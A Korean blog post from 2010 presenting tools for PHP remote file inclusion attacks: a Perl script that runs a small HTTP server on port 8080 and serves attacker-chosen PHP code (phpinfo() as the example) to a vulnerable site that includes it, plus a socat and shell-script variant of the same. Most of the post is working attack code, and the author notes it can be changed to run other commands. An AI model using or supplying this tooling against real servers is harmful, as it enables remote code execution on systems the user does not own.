'web/include'에 해당되는 글 1건

  1. 2010.01.21 PHP remote include 공격시 사용툴

PHP remote include 공격시 사용툴

web/include 2010. 1. 21. 02:28

PHP remote include 공격시 사용툴

PHP remote include 공격시 별도의 웹 서버를 올릴 필요 없이 간단히 공격하는 툴.
Fedora에서 netcat이 Original netcat과 다른 동작을 보여서(아마 GNU netcat인 듯) 올려둔다.
 

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $open_file="./info.php";

sub Wait {
  wait;           #wait needed to keep <defunct> pids from building up
}

$SIG{CHLD} = \&Wait;

my $server = IO::Socket::INET->new(LocalPort => 8080,
                                   Type => SOCK_STREAM,
                                   Reuse => 1,
                                   Listen => 10) or die "$@\n";
my $client ;

while ( $client = $server->accept()) {
  next if my $pid = fork;
  die "fork - $!\n" unless defined $pid;

  select $client;
  $_ = 1;
  print $client "HTTP/1.0 200 OK\r\n";
  print $client "Content-type: text/html\r\n\r\n";

  #  print $client '<?php phpinfo(); ?>';
  open(FH, "<$open_file");
  $| = 1;
  my @lines=<FH>;
  foreach (@lines) {
    print $_;
  }
  close(FH);

  close($client);
  exit( fork );
} continue {
  close($client);               #kills hangs
  kill CHLD => -$$;
}


자체적으로 웹 서버 역할을 하며 소스를 변경하면 포트 변경, 실행 가능한 명령어 변경 가능함.

혹은 socat이 사용가능하다면 아래와 같이 할 수 있음.
아래와 같은 shell script를 php_inc_ex.sh로 저장하여 chmod 755 php_inc_ex.sh한 후 주석과 같이 실행 함.

#!/bin/sh
# socat TCP4-LISTEN:8080,fork EXEC:./php_inc_ex.sh

echo "HTTP/1.0 200 OK";
echo "Content-type: text/html";
echo "";
echo '<?php phpinfo(); ?>';

 

주의사항: shell script의 경우 직접 출력이나 here 문을 이용한 출력은 문제가 없는데, 다른 파일을 읽어서 출력하는 경우 broken pipe가 많이 발생한다.

: